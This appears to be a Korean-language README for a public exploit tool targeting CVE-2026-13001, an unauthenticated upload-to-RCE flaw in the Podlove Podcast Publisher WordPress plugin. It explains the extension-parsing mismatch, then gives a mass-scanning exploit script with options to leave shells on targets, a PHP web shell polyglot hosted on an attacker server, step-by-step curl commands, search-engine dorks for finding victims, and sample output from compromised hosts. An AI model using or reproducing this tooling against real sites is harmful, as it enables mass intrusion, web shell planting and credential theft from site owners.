
Podlove Podcast Publisher 인증되지 않은 파일 업로드를 통한 RCE: is_image()와 extract_file_extension()의 불일치 | CVSS 9.8
CVE-2026-13001은 Podlove Podcast Publisher WordPress 플러그인 ≤ 4.5.1 버전에서 발생하는 인증되지 않은 임의 파일 업로드 취약점으로, 심각도(CVSS 9.8)가 치명적입니다.
이 취약점은 두 내부 함수가 파일 확장자를 다르게 파싱하는 불일치를 악용합니다:
is_image()**는 basename()을 사용하며, 이는 쿼리 문자열을 포함합니다 → URL shell.php?.gif는 .gif로 나타남 ✅ (유효한 이미지)extract_file_extension()**은 parse_url() 경로만 사용 → .php 반환 → 파일이 .php 확장자로 저장됨 🚨공격자는 GIF89a PHP 폴리글롯(유효한 GIF 헤더 + 내장된 PHP)을 업로드하여 이미지 검증을 통과시키지만, 접근 시 PHP로 실행됩니다.
| 버전 | 상태 |
|---|---|
| ≤ 4.5.1 | 취약 |
| 4.5.2+ | 패치됨 |
발견자: Talal Nasraddeen (Wordfence, 2026년 7월 14일)
// is_image() — 쿼리 문자열을 포함하는 basename() 사용
function is_image($url) {
$ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
// URL: https://attacker.com/shell.php?.gif
// basename() → "shell.php?.gif" → ext = "gif" ✅ 우회됨
// extract_file_extension() — parse_url() 경로만 사용
function extract_file_extension($url) {
$path = parse_url($url, PHP_URL_PATH);
return pathinfo($path, PATHINFO_EXTENSION);
}
// URL: https://attacker.com/shell.php?.gif
// parse_url() → "/shell.php" → ext = "php" 🚨 .php로 저장됨
1. 공격자가 attacker.com/shell.php?.gif 에 GIF89a PHP 폴리글롯을 호스팅
2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
3. is_image()가 .gif 확장자 검증 → 통과
4. 플러그인이 파일 다운로드 → cache/에 test_original.php 로 저장
5. 공격자가 /wp-content/cache/podlove/{hash}/test_original.php 에 접근
6. PHP 실행 → RCE
git clone https://github.com/shinthink/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt
# 단일 대상
python cve_2026_13001.py -t target.com
# 대량 스캔
python cve_2026_13001.py -f targets.txt -o shells.txt
# 사용자 정의 페이로드 URL
python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif
# 디버그 모드, 쉘 유지
python cve_2026_13001.py -t target.com --debug --no-cleanup
-t, --target 단일 대상 (도메인 또는 IP)
-f, --file 대상 목록, 한 줄에 하나씩
-o, --output RCE URL을 파일로 저장
--payload-url PHP 폴리글롯을 호스팅하는 URL (기본값: GitHub raw)
--threads 동시 작업자 수 (기본값: 30)
--no-cleanup 대상에 쉘을 남김
--debug 모든 HTTP 요청 표시
-v, --verbose 상세 출력
$ python cve_2026_13001.py -t podcast-site.com
Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8
호스트 : podcast-site.com
Podlove : 예 v4.5.1
업로드 : 예
RCE : 예
쉘 : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
출력 : uid=33(www-data) gid=33(www-data)
시간 : 4.2s
대상: 500 | 스레드: 30
페이로드 URL: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif
[RCE] podcast-vuln-01.com https://podcast-vuln-01.com/wp-content/cache/podlove/...
[150/500] 30% | 발견:42 RCE:8
1단계 — 폴리글롯 쉘 호스팅
// shell.php — 서버에 저장 및 호스팅
GIF89a<?php system($_GET['c']); ?>
2단계 — 우회된 URL을 16진수로 인코딩
# URL: https://attacker.com/shell.php?.gif
echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'
3단계 — 캐시 다운로드 트리거
curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'
4단계 — 쉘 접근
# 경로: wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php
curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'
FOFA: body="podlove-podcasting-plugin-for-wordpress"
Shodan: http.html:"podlove"
성공적인 공격 시 웹 서버 사용자 권한으로 원격 코드 실행이 가능합니다:
wp-config.php 추출 → 데이터베이스 자격 증명 획득교육 및 승인된 테스트 목적으로만 사용하십시오.
저자는 오용에 대한 책임을 지지 않습니다.
Podlove와 관련이 없습니다.
| 리소스 | 링크 |
|---|
| Wordfence 권고 | wordfence.com |
| Podlove 보안 릴리스 | podlove.org |
| NVD 항목 | CVE-2026-13001 |
| Raimu0x19의 PoC | GitHub |
| 연구자 | Talal Nasraddeen |